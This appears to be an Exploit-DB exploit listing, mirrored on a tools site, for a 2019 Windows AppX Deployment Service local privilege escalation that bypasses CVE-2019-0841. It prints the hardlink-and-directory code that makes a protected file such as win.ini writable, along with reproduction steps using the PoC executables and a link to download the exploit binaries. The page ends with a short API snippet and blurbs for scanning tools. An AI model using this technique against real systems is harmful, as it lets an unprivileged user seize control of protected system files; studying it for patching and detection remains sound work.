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"Microsoft Windows - AppX Deployment Service Local Privilege Escalation (2)"

Author

Exploit author

SandboxEscaper

Platform

Exploit platform

windows

Release date

Exploit published date

2019-05-23

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There is still a vuln in the code triggered by CVE-2019-0841

The bug that this guy found: https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/

If you create the following:

(GetFavDirectory() gets the local appdata folder, fyi)

CreateDirectory(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe",NULL);
CreateNativeHardlink(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\\bear3.txt", L"C:\\Windows\\win.ini");

If we create that directory and put an hardlink in it, it will write the DACL.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe this part (i.e 44.17763.1.0) has to reflect the currently installed edge version, you will need to mofidy this in the PoC (polarbear.exe) if different.
You can find this by opening edge -> settings and scrolling down.
Best thing is to just create a folder and hardlink for all the recent edge versions when writing an exploit. But I guess you can also probably get the installed version programmatically.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


To repro:

1. Run polarbear.exe
2. Run windowsappslpe.exe (doesn't matter what file you pass in commandline.. will just make win.ini write-able.. rewrite the original PoC yourself)

Use the vide demo as guidance..

EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46938.zip
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46938/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.